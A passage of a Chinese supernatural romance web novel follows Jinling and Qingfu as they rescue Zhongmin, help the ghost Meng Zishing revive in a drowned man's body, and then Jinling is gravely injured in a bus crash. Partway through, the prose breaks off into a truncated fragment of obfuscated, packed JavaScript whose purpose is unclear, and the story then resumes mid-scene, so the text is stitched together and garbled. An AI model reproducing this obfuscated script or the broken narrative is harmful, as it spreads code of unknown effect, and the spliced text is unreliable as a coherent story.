“我也总是忆不起我当时是谁,我该是何种存在。”觐灵的声音忧郁。 即使卿甫的前世记忆里,也没有我的存在啊,我到底是谁呢? “想得起,想不起,又怎样?你我如今相伴不离。”卿甫才不想被什么前世困扰,他的前世多半是死于战乱,没得到一个好结局。 是啊,何必去在意。 觐灵释怀,他问卿甫能走动吗? “刚醒来时感到乏力,现在好多了。” 卿甫眺望四方,只见灰蒙蒙一片,四周都是雾气,问道:“这里是什么地方?” “危险之地。” 觐灵感知到危险,他握住卿甫的手。 “觐灵,你不是在梓晴的记忆里做下记号?” 卿甫想起觐灵割伤自己,将血滴下,做为记号。 “按说,我不大可能进错地方。” 觐灵在“通道”中,拥有极强的感应力。 是这团迷雾困住了他。 “恐怕孟梓晴就在这里,只是被雾气遮蔽,看不见。”卿甫做出分析,他相信觐灵的能力。 未进“通道”前,觐灵与卿甫做过讨论,仲敏与孟梓晴存在很深的联系,找到孟梓晴,很可能就找到仲敏。 “孟兄!” “仲敏!” 觐灵与卿甫牵手在浓浓的雾气中叫唤,这是唯一的办法。 两人漫无边际地行走,渐渐,眼前的雾变得淡薄,四周的景物隐隐可见,觐灵看见一片林丛,意识到孟梓晴就在附近。 这片林丛中,有一座孤坟,那是孟梓晴的墓。 “是这里,我找到我留下的记号。” 觐灵手指着前方的空地,他与卿甫快步往前走,还没靠近孤坟,远远见到两个人影,走进看正是孟梓晴与仲敏。 仲敏躺在地上一动不动,孟梓晴伏在他身上。 觐灵唤醒梓晴,卿甫连忙探看仲敏。 仲敏眉眼紧闭,气息微弱,身上有些伤痕,孟梓晴的情况也好不到哪去,他奄奄一息,形体十分模糊。 觐灵叹息:“迷雾是你制造的吧。” 梓晴点头,哽咽说:“他不肯离开,我没有能力送他出去。” 他之所以制造烟雾,是为了保护仲敏,这地方存在精怪,仲敏独自闯进来,遭到袭击。 “幸好还有口气。” 卿甫拽住仲敏的胳膊,将他背上肩。 “这地方阴寒潮湿,活人不能长待,罗先生本就受伤,身体支撑不住。” 觐灵清楚仲敏为何昏迷,事实上他和卿甫不早点出去,也会像仲敏一样。 “朱馆主,你们快走。” 梓晴念念不舍地望着卿甫背上的仲敏,嘴里却在催促他们离开。 觐灵本来想转身就走,他走出两步,又回头看雾气中孤零零的孟梓晴,於心不忍,他对孟梓晴说:“孟兄伤势未愈,又将所剩无几的灵力用于制造迷雾,很快,形体将不复存在。” “我留在这里已经无济于事,朱馆主可以将我带出去吗?” 孟梓晴言语带着恳请。 他本该在这里休养,经过漫长岁月后可以自愈,但他在伤重未愈下仍强行使用灵力,已经没有自愈的可能,连形体也无法维持。 “可以,只是你出去后必须待在漆黑的地方,再见一点阳光,就真得万劫不复。” 听见觐灵的话,孟梓晴平静的地点点头。 即使这样,他还是想出去。 孟梓晴的形体淡化无痕,他化作一团微光,觐灵脱下自己的外衣,用衣服将那团微光裹在里头。 四周雾气淡化无痕,觐灵找到出口,他携带失去形体的梓晴,卿甫背负仲敏,三人一鬼一并离开“通道”。 从“通道”出来才发现,外头是白日,茶馆没有营业,店内只有经理一人,经理守护在“通道”入口,防止外人闯入。 茶馆两日没有营业,经理担心他们突然从“通道”出来,吓着顾客。 匆匆离开茶馆,卿甫开车,对觐灵说:“茶馆这两天的损失,一定要找仲敏赔偿。” 此时,仲敏仍在昏睡,他身上盖着一条毯子,呼吸声平稳,他身边有一团微光,那是孟梓晴的魂魄在守护。 坐在副驾驶座上,觐灵回头看身后相伴的一人一鬼,他将脸靠在卿甫肩上,露出疲倦地微笑。 仲敏因为虚脱,昏迷了一天。 当老罗头知道仲敏是为了寻找那只叫孟梓晴的“鬼友”,而把自己搞成这副模样,老罗头气恼地说要把仲敏用铁链栓家里。 世上哪有这么不孝顺的儿子,三天两头出事。 梓晴的魂魄要如何安置,才是一个大问题。 一点自然光都见不得,稍有不慎就会万劫不复。 将孟梓晴从“通道”带出来,是因为他几乎耗尽灵力,因此失去了形体,就像他自己说的,即便留在“通道”内,也无济于事。 卿甫想出一个主意,他家老宅位置偏僻,后院有一间西向的房间,平日一直锁上没用,密封极好,只要把门窗闭上,无论白天黑夜都伸手不见五指。 觐灵看后,说这里能暂住些时日,日后还得再另寻一个去处。 两人将唯一的窗户用木条封死,把梓晴放置在里边。 失去形体,孟梓晴以声音道谢。 两人退出房间,卿甫给房门上锁。 仲敏清醒后,前来找孟梓晴,两人隔着门板说话,孟梓晴说他和仲敏的缘分已经走到头,自己心意已决,仲敏也没有必要再过来。 经历这些事,仲敏深刻反省。 他偶尔还是会过来,默默坐在后院,远远望着孟梓晴的房间,一坐就是半天。 自从孟梓晴入住卿甫家,卿甫发现院子里出现孩子的玩具,跟觐灵说恐怕是院子种的桃子成熟,附近的小孩翻墙进来偷摘桃子。 觐灵摇说这是鬼魂留下的,应该是个女孩。 当初,卿年曾在老宅大厅撞见一个小女孩的鬼魂,会不会就是那个小女孩? 奇怪的是,卿甫如今能看见鬼魂,却从没在家中发现她。 看来是个小机灵鬼,藏匿得挺好。 “有可能是邻居家早夭的孩子,生前就有到你家庭院玩耍的习惯,不知道什么原因,她近来才又过来了。” 觐灵做出推测。 他时常到卿甫家中住,同样没看见这孩子,说明这孩子确实躲着他们。 过几天,觐灵在孟梓晴的房门外发现一颗新鲜的桃子,问梓晴是不是有个小女孩来找他玩。 梓晴回答是有个女孩,名字叫小彤,十三四岁的模样,每日傍晚都会过来,陪他讲些外头见到的事情。 他知道对方也是游魂,但心地善良,对人没有恶意。 一日黄昏,卿甫和觐灵在屋中闲居,隐隐约约听见女孩的笑声,他悄悄跟过去,果然那声音从后院传来。 小女孩很警惕,听见脚步声,她连忙想逃跑。 她朝院墙逃去,想穿墙而出,以为卿甫顶多看得见她,不能把她怎么样,谁想听他伸手一拦,就将女孩拦下,他笑语:“原来是你偷桃子。” 小女孩吓得瑟抖,她有几十年的鬼龄,知道拥有特殊能力的人,才能看见鬼魂,并将鬼魂擒拿。 觐灵拿出一盒糖果给小女孩,女孩见觐灵温和可亲,不再感到害怕,她悠然地坐在后院的青石桌前吃糖果,跟觐灵闲聊,卿甫则坐在一旁听。 从女孩的谈话中可以知道,她确实是邻居的孩子,年纪轻轻便夭折,在女孩去世后,家人都搬走了,后来连房屋被拆去。 女孩无家可归,时常四处游荡,有时想起生前在赵宅玩耍的欢乐情景,就会偷偷溜进赵宅。 “平时住哪里?” 觐灵知道孤魂野鬼很凄凉,尤其是小孩,会受到其它游魂欺负。 “住在石桥下,和棠君住一起。” 女孩用衣服将糖果兜住,她看来很喜欢花花绿绿的糖果。 “棠君?可是指棠河的水神?” 觐灵很少接触到山川湖泊的神灵,他也认为这类神灵在现代社会所剩无几,几乎销声匿迹,没想到这条流域并不宽广的河流,竟然有水神。 “是啊,我就是在那里溺死的,棠君看我可怜,就允许我在那边住。” 女孩原来是溺水死的。 “上次有个男孩溺死在里边,棠君叫我去还魂,可是我不喜欢当男孩,就没去了。” 借尸还魂? 即便是觐灵也感到惊讶。 “我曾听游魂说,借尸还魂必须得是刚死的尸体,否则无法达成,想来棠君能预先知道何年何日几时几刻会有溺亡者。” 女孩点点头,她神秘兮兮地对觐灵说:“是这样,我听棠君说,明天晚上,会有一位年轻男人溺死在河里。” “棠君还说这些年来,人们不再乘船渡河,已经好多年没有溺亡者需要他引渡,他几乎要忘记自己是谁了。” 女孩含着糖果,腮帮子鼓鼓,说话时声音模糊。 女孩善谈,聊了许久,夜深才离去。 觐灵站在孟梓晴门外,他还没跟孟梓晴提,对方主动开口:“朱馆主,我听见你们的谈话,我愿意尝试。” 这事办成还好,若是办不成,以孟梓晴如今虚弱的状况,他可能会彻底消失。 觐灵回道:“孟兄,既然心意已定,我与卿甫会助你。” “多谢,若不是朱馆主与赵先生,我早就魂飞魄散了。” 孟梓晴既感激又感伤。 他身为游魂,他已经错过轮回的机会,就算是有高僧老道愿意为他超度,投胎时,一碗孟婆汤下肚,他将什么也记不住。 孟梓晴对罗仲敏说了狠绝的话,那是为了让仲敏放手,那并非真心话。 早就心死如灰,再没有奢望,却不想到在这样的绝境下,又见到希望。 第二天夜晚,觐灵让孟梓晴依附在他的衣服上,用箱子装着,携带到棠河河畔,一同前来的还有卿甫与仲敏。 桥下是流淌的河水,桥上是往来不息的车流。 觐灵在河畔见到小彤,迎上去问能不能求见棠君。 小彤说棠君已经看到他们到来,但他只见一个人。 她手一指,指向卿甫。 卿甫不解,问棠君为什么想见他? 小彤牵着卿甫的手,说去了就知道。 “朱馆主,老赵随她去安全吗?”仲敏问。 “不用担心。” 觐灵能感知到棠君没有不好的意图,虽然他不知道棠君为什么要见卿甫。 卿甫在小彤的带领下,沿着河畔行走,河畔路灯昏暗,石围栏上可见几位歇脚的行人,卿甫没留意这些人,还想往前走,小彤却扯住他,指着前头一个年轻背影,轻声说:“那就棠伯。” 年轻人也在此时转过头来,他的模样与大街上的男青年没有什么不同,顶多就是穿得不够时尚。 卿甫对棠君行礼,棠君言语淡漠:“你们这样做违反规则,不过我也懒得管这种事。” 卿甫压低声音;“大概是晚上几点,棠君能给个确切时间和地点吗?” 棠君对卿甫的询话,无动于衷,他眺望河面,思绪飘远,就在卿甫要再次询问时,听到他幽幽说:“千年前,你的祖先定都于此时,就住在河岸,一住就是一百五十年。我还认得你,你小时候从舟上落水,我见你命不该绝,将你从滚滚河水中救起。仿佛还是昨日发生的事情,一眨眼,竟已是八百年后。” 棠君确实认识卿甫,不过那是卿甫的前世。 卿甫愕然,他没想到自己与棠君有这样的渊源,也就不奇怪棠君为什么指明要见他。 “我隐隐知道前世的事,不过只有支零破碎的记忆。”卿甫此时已相信这人就是棠君。 “十点时,带上你那个朋友,到桥头等吧。人生苦短,好好珍惜你身边人。”棠君转过身来,他给出答案。 “我们走吧。” 棠君拉住小彤的手,小彤朝卿甫挥手。 点点头 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有路过车辆见到车祸,立即停车报警,过些时候会有警车与救护车赶到,司机和他车上的乘客走到猛烈撞击处察看,车辆的零件掉一地,再看那深不见底的河水,都知道人肯定是没救了。 觐灵来到桥下,轻唤孟梓晴,将包住梓晴魂魄的衣服都开,没有了形体的孟梓晴只是一团微光,他向觐灵与卿甫道谢,又对仲敏说:“若是不成功,勿挂念。” 仲敏想拥抱孟梓晴,然而孟梓晴已经没有实体,都是自己害了他:“梓晴,得朱馆主与棠君相助,必定能成功。” 唯有安抚,想来他心中亦是不安。 孟梓晴飘向事故地点,静静等侯,许久,见一辆轿车从水中吊出,湿淋淋,驾驶座上空无一人。 那团属于孟梓晴的微光消失不见了。 仲敏激动之下想上前去,被卿甫拦住。 事故地点围观的人群突然一阵骚动,有医护人员大叫:“在那边!快过去!” 随后,一湿淋淋,软绵绵的人被匆匆抬上担架,送上救护车。 没人知道他是怎么从快速下沉的车辆中逃脱,与及何时出现在岸边,猛烈撞击使汽车严重变形,为什么驾驶车辆的人居然还活着。 眼见梓晴被抬走,仲敏再不顾一切,向前狂奔,他怎么可能追上汽车,追得狠,在地上摔了个跟头。 卿甫将仲敏拉起来,见他模样着急,口中念叨:“要问问受伤人的名字,家住哪里才行!” 觐灵气喘吁吁追上,他抓住仲敏的手臂说:“还魂后有记忆,孟兄要是愿意再续前缘,会回来找你。” 这句话让仲敏冷静下来,三人远远目送,直至救护车的车灯消失在黑夜中。 回去路上,仲敏一再感谢觐灵与卿甫,卿甫说棠君也给予了帮助,否则肉身受伤眼中,孟兄根本没法游到河边。 仲敏激动的说他要好好感谢棠君。 卿甫说:“棠河漂浮的垃圾不少,你不如租艘船,请人清理垃圾,就是对棠君最好的答谢。” “这方法好,往后这笔钱我来出!” 只要梓晴还魂成功,要仲敏捐出全部身家,他都没有异议。 听两人对话,觐灵在一旁微笑。 如果能美化环境,那么棠君住起来也比较舒服。 先将仲敏送去罗宅,卿甫载着觐灵,一同回家。 两人进入朱家院子, 觐灵问卿甫,棠君和他说了什么? “棠君要我好好珍惜你。” 卿甫握住身边觐灵的手,深情看着对方。 棠君为何这么说,可惜自己没有机缘见上他一面,觐灵想。 ************* 仲敏天天搬块椅子坐在店门口,看到陌生的年轻男子过来,就一脸深情地迎上去。 卿甫叫小张把仲敏的椅子搬走,说他:“还做不做生意了?顾客都吓得不敢进来。” 仲敏只得每天坐在会客厅里,望着落地窗外的街面行人发呆,长吁短叹。,老板这幅模样,财神爷都得被他赶走。 “孟梓晴出院后,自然会来找你。” “他要是不来呢。” 听卿甫这么说,仲敏仍是愁眉不展。 自己做了许多错事,害梓晴险些魂飞魄散,如果梓晴借尸还魂后,想重新过日子,再不愿意与自己有任何牵连呢? 如果真是这样,仲敏不会怪罪,这是他应得的。 一日黄昏,店里进来一位衣着考究的年轻男子,白皙干净,看着说不出的顺眼。 小张迎过去,招呼他,询问对方的需求,年轻男子露出笑脸,轻轻说:“我找罗老板。” 卿甫在店内,看见一名年轻男子进来,他没留意,直到听见对方说要找要罗老板。 将年轻男子端详,卿甫心里已有把握,他说:“你好,仲敏刚出去,一会回来,请到客厅来。” 把年轻男子往里边带,男子仍是面带微笑,他见到卿甫,端端正正地鞠躬,一再说谢谢。 两人坐下,卿甫沏茶,低声询问:“你是孟梓晴?” 年轻男子微笑点头。 卿甫连忙拨打仲敏手机,将在仓库里忙活的仲敏喊回来。 五分钟不到,就见仲敏满头大汗跑进来,他迎面撞见孟梓晴,先是一愣,紧接着死死将人抱住,涕泪交加。 卿甫出会客厅,把小张支走,以便让里头那两人能不受人干扰,互诉衷肠。 好在黄姐今天没来,店里只有小张,要不黄姐爱说闲话,被她看见可不好。 晚上,仲敏,梓晴到卿甫家聚会,觐灵自然也在,四人热热闹闹聚在一起吃饭。 饭桌上,梓晴讲述他还魂之后的事情。 原来,梓晴肉身的主人,是位富家公子,独身未婚,平日里花钱如流水,私生活混乱,那天夜里,这人酒后驾车,汽车失控撞毁桥栏,直冲向河水,在河中溺死。 梓晴借尸还魂,因为肉身伤痕累累,还魂后,他倍受痛苦折磨,在医院住了一个多月。 身体刚康复,他就前往古玩店找仲敏。 为何没去仲敏家呢,怕仲敏抱着他痛哭流涕,吓坏老罗头和仲敏的姐姐。 不得不说,孟梓晴确实很了解罗仲敏。 18. 第 18 章 卿甫老宅后院的月季开得鲜艳,桃树上的桃子所剩无几,大多数桃子被鸟儿琢食,喂饱了林鸟。 自从后院里不再住着孟梓晴的魂魄,小彤也很少过来,老宅静谧依旧。 夏天即将结束,城里不再那么闷热,觐灵在赵家老宅住了一段时日,打算回去自己德尔宅子居住。 卿甫把自己的东西收拾收拾,住到了觐灵家。 他们的关系更近了一步,互相间没有秘密,坦诚相待。 每天早上,卿甫都亲自送觐灵去茶馆,他要坐在车上,看着觐灵走进茶馆,消失不见,才会启动汽车离开。 他对觐灵的迷恋之情在加深,也不在乎周边人的目光。 觐灵对卿甫的爱意,比较含蓄,他不会主动跟外人说他有位恋人,也不会刻意遮掩。 入住觐灵家后,卿甫就发现仲敏仿制的吴镇《梅花图》一到深夜,梅花便会变色,从白色变为红色。 这件事舒适有些诡异。 仲敏仿制了两幅吴镇《梅花图》,一副画的是白梅,挂在寝室,一副画的是红梅,挂在书房。 正是寝室里那幅白版吴镇《梅花图》的梅花会变色。 这种现象从什么时候开始出现,觐灵没有留意。 他之前几乎都住在卿甫家里,很少回自己家。 仲敏做为绘者,在很早之前,就说吴镇笔下那株老梅树是红梅,所以画了白梅版后,他又画了红梅版,还将两张画都送给觐灵。 那时的仲敏备受相思之苦,精神看着不大正常,他说的话,没被重视。 直到觐灵回自己家中住,卿甫也跟着搬来,两人一同见到夜间画中的白梅变成红梅,才想起仲敏的话。 夜里,两人边喝酒边等梅花图上的梅花由白色变化为红色,亲眼目睹这样奇妙的转变,卿甫和觐灵都感到不可思议。 后来,仲敏和梓晴听说白版《梅花图》会变色,两人说出他们的猜想。 吴镇所画的这株白梅树绝不寻常,也许数百年后,原画毁去了,白梅树至今还以某种形态存在着。 这段时日,觐灵的琴友时常来访,他们早就发现卿甫和觐灵住在一起,肯定猜到他们之间存在特殊关系,但大家都很有默契,从不提及隐私话题。 秋日一到,林老就说要办个蟹宴,刘铮说他知道有个赏菊好去处,他有位朋友种植花卉,有座占地面积很大的菊园。 众人一听,纷纷赞同先去赏菊,再办蟹宴。 菊园的菊花品种繁多,□□名琴友谈笑风生,聚集在一起,,走着走着就散开了,有的拍照,有的看花,各得其乐。 卿甫和觐灵在一起,两人走走看看,用相机拍拍花草。 逛完菊园,林老介绍一家酒店,正是吃蟹宴的好去处。 螃蟹鲜美,大家大快朵颐,林老喝了点酒,兴致很高,在席间抚琴。 那一刻,仿佛回到那悠远的时空里,也许是在云水先生的茶会上,也许是在赵子钧的酒宴上,人们在鼓琴,在交谈。 回去路上,卿甫开车,觐灵打开袋子,袋子里是一大包从菊园购买的菊花。 “你买菊花做什么用?” “酿菊花酒。” 卿甫以前不喜欢菊花酒,但觐灵亲自酿造的,肯定好喝。 觐灵家有酒窖,觐灵父亲在世时,会自己酿酒,因此酒窖中的酿酒工具齐备。 卿甫将糯米、枸杞、地黄和酒曲买来,觐灵把院子里晒好的菊花拾好,便进厨房开始忙活。 两人忙碌一下午,将两只酒瓮搬进酒窖,相视而笑。 觐灵说,菊花酒有各种酿法,用的配料也不大相通,他酿的这种,有延年益寿的功效。 卿甫说:“等你我年老,年年都要酿一坛。” 当时两人都没有想到,他们第一次酿的菊花酒,觐灵却险些喝不上。 卿甫在觐灵家住下,乐不思蜀,直到自家老宅的院子长出杂草,花木凋零,他才回去照料。 这么大一处宅院,闲置不居,实在可惜,何况四周风景极佳。 卿甫与觐灵商议,为照看生意,两人住市区便利,平日两人都住在朱宅,得闲他们就出城,在赵家老宅闲居几日。 回到卿甫家,发现院子有两三只游魂,他们见到卿甫抱头鼠窜。 “什么时候,我家院子成鬼魂的聚集地了。” “房子一旦没人住,就会有鬼魂前来借宿,不过你也看到,它们见到你就作鸟兽散,以后估计也不敢再来。” “不敢来好。” 卿甫可不想家里总是有游魂荡来荡去,影响他和觐灵过夜间生活。 两人在屋中打扫,觐灵见到客厅柜子摆放的几件礼物,那显然是赠予女孩子的礼物,上面有时光的痕迹,而礼物虽已过时,却仍收藏着。 “卿甫,你有个妹妹是吗?” “有,小我两岁,妹夫家在邻城,前年暑假,妹妹还带小外甥回老宅住了一段时日。” 提起妹妹和外甥卿甫脸上露出温和的笑容,他说:“我前些时候跟她提起你。” “你跟她怎么提?”觐灵有点慌张。 “把我们的情况跟她说了,她说下次回来,想见见你。” “她知道……。” “知道,她看过合照,说我们两人很般配。” 般配。 卿甫没提及他是怎么和妹妹交谈的,又是如何跟妹妹介绍觐灵,总之,卿甫的妹妹并不反对他们的关系。 “觐灵,我们要不要办场酒席?”卿甫低头亲觐灵。 觐灵呆呆看着他。 将人抱起,卿甫声音低沉:“你看,我们洞房是洞房了,还差个喜宴。” 觐灵真以为自己听错了,喜宴?摇头。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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送走小彤,两人回房睡去,觐灵躺在卿甫怀里,卿甫搂着他,两人一同进入梦乡。 他们很幸运,他们没有经历梓晴与仲敏那样的磨难。 睡梦中,觐灵恍恍惚惚来到一栋残败的庭院,庭院遭受过火灾,残垣断壁上有火燎的痕迹,无数灰烬在空中悬浮。 觐灵在灰烬中行走,见到一位白须老道等候在前方。 老道展开一副画轴,正是吴镇《梅花图》,他长袖一挥,忽然将手按向觐灵额头,声音冰冷:“梅公子,我寻你许久,一并归去吧。” 觐灵从梦中惊醒,流了一身冷汗。 19. 第 19 章 清晨,卿甫醒来,见觐灵已将早饭做好,他抬头看墙上的钟,大概误以为自己睡迟了。 觐灵见他做出这样的举动,说自己睡不下,起得早,便把早餐做了。 两人住一起,经常由卿甫掌厨,觐灵的厨艺不好,不过只要是他做的食物,卿甫都会认为美味无比。 觐灵正在盛粥,发现对方目不转睛盯着自己看,觐灵被看得不自在,问:“怎么了?” 卿甫从背后抱住恋人,关切地问:“昨夜没睡好?人看着没精神。” “似乎做了个恶梦,醒来不记得了。” “我来,你去那边坐着。” 卿甫拿走觐灵手中的勺子和碗。 盛好一碗粥,端到觐灵跟前,卿甫叮嘱:“吃完早餐,别洗碗了,你再去睡会。” 平日卿甫负责做饭,觐灵负责洗完。 两人吃完早餐,觐灵说他不倦,要去茶馆,卿甫将他送去茶馆。 目送觐灵的身影穿过街道,走进茶馆,最终消失不见,卿甫才离去。 明明每天都在一起,卿甫对觐灵的迷恋之情,却是与日俱增。 卿甫前往古玩店,发现仲敏和梓晴已经在店里,近来梓晴常来店中。 古玩店的生意步入正轨,客源稳定,仲敏和卿甫商议,黄姐家中老人经常生病,要辞职,他打算让梓晴来店里帮忙。 卿甫很赞同,梓晴的眼力比仲敏还好,特别适合做古玩生意。 自此,梓晴便每天到店中来,和仲敏形影不离。 一天早上,卿甫过来,正好见到仲敏和梓晴在开店门,猜想他们可能住在一起。 趁着梓晴洗茶具的时候,卿甫瞥了仲敏一眼,对方特别敏锐,立即说:“他没跟我住一起。” 见卿甫不相信,又说:“梓晴说不想刺激寄主的爸妈,我们的关系迟些再说。” 梓晴的寄主,性情与梓晴天差地别,寄主的爸妈发现儿子遭遇一场车祸,后,竟得懂事又孝顺,感到很惊诧,再让他们发现以往频繁换女友的儿子,突然改变取向,有位男朋友,还不把他们吓死。 “真羡慕你跟朱馆主,什么关卡都不用过。”仲敏很羡慕。 期望他跟梓晴能早日排除万难,无拘无束在一起。 梓晴洗好茶具,端上茶几,他静静地在仲敏身边坐下。仲敏伸手去握梓晴的手,梓晴看了仲敏一眼,将手拿出来,两人相视,微微一笑。 卿甫起身离开,店里有他们两人在,生意他不用操心。 离开古玩街,卿甫前往一家珠宝店,他要购买对戒。 卿甫精心挑选出喜爱的款式,向店员询问定制的事情。 店员对卿甫独自一人前来买对戒并没有过多询问,她偶尔说一句:“你女朋友”,卿甫也不纠正,嘴角有笑意。 等对戒做出来,他与觐灵一人一枚,他们将十指相扣,相伴一生。 如果觐灵允许,他还想办场酒宴,邀请几位他与觐灵共同的亲友。 日子过得飞快,眼见中秋将至,户外秋风萧瑟,周末的街道比平时热闹,情侣成双成对。 时值交通高峰期,又是周末,路段堵塞严重,卿甫望着前面一条由车辆组成的长龙,准备与觐灵联系,通知自己迟些才能去接他。 早些时候,两人通过电话,觐灵说他在图书馆。 觐灵有阅读习惯,偶尔会到图书馆借阅书籍。 此时,拨打觐灵的电话一直无人接听,卿甫也没在意,心想,周末图书馆的人比较多,周边嘈杂,觐灵可能没听到铃声。 前面的车缓缓进行,卿甫放下手机,专注开车。 由于道路拥挤,卿甫在路上耗费许多时间,等他将停在图书馆附近,再次联系觐灵,已经是半个小时之后。 仍旧没有打通,觐灵没接电话。 觐灵知道卿甫经常打电话联系,他总是随身携带手机,并时刻留意铃声。 出现一再联系不上的情况,就有些反常了。 卿甫进入图书馆找人,里头人头攒动,他到处都找过了,没有觐灵的影子。 会不会已经离开图书馆? 平时,觐灵出行靠打车,有时也坐公交车,这家图书馆外面有个站点,有公交车直达暗香茶馆所在的镜湖东路。 觐灵有可能搭乘公交车离开。 所以人不在。 也许他遭遇窃贼,窃走他的手机,也许手机不慎遗落。 所以手机无法拨通。 等卿甫从图书馆出来,天色已黑。 卿甫驾车离开,回程还是堵车,他在路上又打了一通觐灵的电话,突然电话接通了,卿甫着急问:“觐灵,你人在哪里?我打了你几通电……” 他话还没说完,就听见一个陌生女子的声音:“你好,我不是手机的主人,我捡到手机……” 之后这名女子还说了好多话,卿甫的耳朵嗡嗡作响,他只记得女子说的两个词:“翻车”,“受伤”。 手机里有人在大喊大叫,有不少人在哭号,声音混乱,能想象那会是怎么的交通事故现场。 绿灯亮起,前方的车辆已经开走,后方的车辆不停按喇叭,卿甫没有了反应,直到后方的司机从车里出来,走过来用力猛击卿甫的车窗,卿甫才回过神来,他的脸色惨白,身体无法抑制地抖动。 早些时候,觐灵与卿甫通话,卿甫说:你要回去就打我电话,我来图书馆接你。 觐灵说:这里有直达镜湖东街的公交车,离我家很近,走过去就几分钟。还说他可以搭公交车回去,卿甫来回接他麻烦,周末车多不好停车。 在图书馆待了一会,觐灵带着借阅的书籍离开图书馆。 出来时,正好看到那辆途径镜湖东街的公交车抵达,觐灵赶过去,上了车。在这一站和他一同上车的有一对父女,与及三个朝气蓬勃的学生。 觐灵找个空位坐下,汽车开动。 公交车一路走走停停,再次到站点停靠,上来两个瘦高男子,这两人没有位置坐,他们站着,用似笑非笑的表情扫视车上的人。 觐灵一见到两人的脸,表情立即变了,他们的脸色发青,是那种不自然的,尸体般的青灰色。 不需要细看,就能发现这两人的衣裤上都有血,且都光着脚,双脚漆黑。 打量四周的乘客,他们没有任何反应,对同车的两个怪人视若无睹。 显然只有觐灵能看到他们的怪异之处,在其他乘客眼中,这两人都很普通,很正常。 以往没有遭遇过这种情况,但觐灵的直觉在提醒他,恐怕有灾厄要发生。 汽车仍在前行,觐灵的目光落在车窗外,车窗外不知何时攀附着众多鬼魂,它们面目模糊,似在冲车里的乘客号叫,却没有声音。 这是极其危险的征兆,即将有一场大灾要降临在车中的每个乘客身上。 猛地站起身,觐灵朝司机大声喊道:“停车!停车!” 所有人都转过脸来,齐齐看向觐灵,包括司机。 司机斥责:“还没到站!” 觐灵不在乎车上人的议论,他离开座位,用手拍打车门,心急如焚:“师傅,你将车停在路旁,再不停车就来不及了!” 有些乘客不耐烦,要求司机放觐灵下车,觐灵眼神悲伤,摇着头说:“有灾难要发生,请相信我,大家都下来吧!” 乘客不明所以,他们不认识觐灵,又看不见异常的事物,只是见觐灵不肯下车,又要求所有人都下车,怀疑是精神病人,在胡言乱语。 有两个人将觐灵拉住,劝他坐下,司机骂骂咧咧,说还没到站,不能随便停车,继续驾驶。 觐灵知道没办法救车上的人,只能自救,他用力挣扎,拉他的人见他反应激烈,便都松开了手。 就在这时,觐灵发现自己张开口,喉咙里却没有声音。 一只青灰色、冷冰冰的手捂住他的嘴巴,他扭头一看,便看见两只厉鬼,一只厉鬼捂住他的嘴,另一只厉鬼将手指放在唇上,做了个嘘的动作。 从衣着看,正是适才上车的两名瘦高男子,原来它们是马路上的厉鬼。 马路厉鬼怨力很大,觐灵正要设法摆脱它们,忽然听见一声震耳欲聋的巨响,公交车被一股巨大的力量掀起,又重重摔下,觐灵看见所有的车窗都在瞬间暴裂,耳边充斥着乘客彼此起伏的惊恐叫声。 觐灵的意识仅存在几秒,他茫然不知自己躺在车外,更不知道自己躺在血泊中,他脑中闪过一个身影,那是卿甫的身影。 觐灵虚弱地合上眼睛,再无知觉。 公交车拐弯时,突遭一辆车速极快,严重超载的货车撞击。 卿甫赶到现场,事故现场惨烈,严重破损的公交车倒在路旁,地上有几处血迹,乘客的物品散落在四周,现场已经看不见严重受伤的人,似乎都被拉走了,有几名乘客神情恍惚地蹲在一旁,脸上身上还有擦伤。 卿甫想接近事发地点,被现场维持秩序的人员拉拦住,卿甫双脚一软,瘫坐在地上。 他看到被撞得变形的公交车,看到地上的血迹,看到一旁盖着白布的尸体,他无法思考,也不敢去思考。 觐灵…… 无声念出这个名字。 仿佛晴天霹雳。 周围人在说什么,卿甫听不见,他天旋地转,再分不清什么是现实,什么是梦魇,如果这是一场噩梦,他应该早点醒过来。 醒来吧,这都是虚幻。 卿甫从地上站起,摔开想搀扶他的手,他留意口袋中的手机一直在响,只看到前方一位打手机的女子在朝他挥手,他没有理会,精神恍惚地朝后方走去。 女子追上来,把手机塞卿甫手里,卿甫认得,那是觐灵的手机,他的手在抖,声音沙哑:“他在哪?” 女子回答:“我看见他被抬上救护车,还能动。”。 卿甫用力挤开人群,找处理事故的人员询问伤者被送往那间医院。 突如其来的可怕事故,让卿甫的脑子再无法运转,他记不清怎么前往出事现场,也记不清怎么找到觐灵入住的医院,更记不清,他在手术室外坐了多久。他就呆呆坐在地上,像尊塑像。 当仲敏与梓晴神色凝重的赶来时,他们见到手术室外等待的卿甫,他双眼发红,声音沙哑,肩膀止不住的抖颤。 仲敏将手搭在卿甫肩上,低声安安慰,梓晴噙泪,紧紧握住卿甫的手。 觐灵静静躺在病床上,他头上缠着绷带,脸上有好及处擦伤,脸色苍白,双目紧闭。 执住觐灵的手,卿甫轻抚觐灵的脸庞,指腹传递来对方的体温,泪水终于从卿甫的眼眶溢出。 仲敏和梓晴将房门轻轻掩上,两人在门外低声询问医师觐灵的情况。 ******************** 又是在那座遭过火燎的残破庭院里,觐灵见到一位鹤发童颜的道士,道士轻笑,拂动麈尾说:“梅公子,十世的约定,到这一世结了,还是安心修行成仙去吧。” 觐灵平静看着老道,说道:“我不认识你,更不曾与你有什么十世之约。”老道哈哈大笑,麈尾一挥,将四周飞扬的灰烬抹去,一座漂亮的院子出现在眼前。 这是庭院未被焚毁,未遭废弃时的模样。 院子中纱帘飘舞,一座朱亭立在池边,一株白梅静静在墙角盛开,忽然,眼前的事物如电影快进那般,庭院里出入的人员飞速变化,庭院的摆设也在不停变更,白梅树开了又谢,谢了又开。 庭院里的装饰一再更变,庭院里的人们也换了一波又一波,惟有那株白梅始终不变,日复一日,年复一年。 “可怜可叹,竟忆不起前身,那你好好回去经历你的过往吧。” 老道一掌拍向觐灵胸口,被老道碰触的地方快速燃起,觐灵遭到烈焰焚烧,痛苦惨号。 等这锥心的疼痛过后,觐灵发现他已失去人的形体,幻化为院中那一株白梅。 “小小梅树,六百年的修行不要,就求一个肉体凡胎,不值不值!”老道摇头,挥舞广袖驾鹤而去,留下一阵吹拂白梅枝叶的清风。 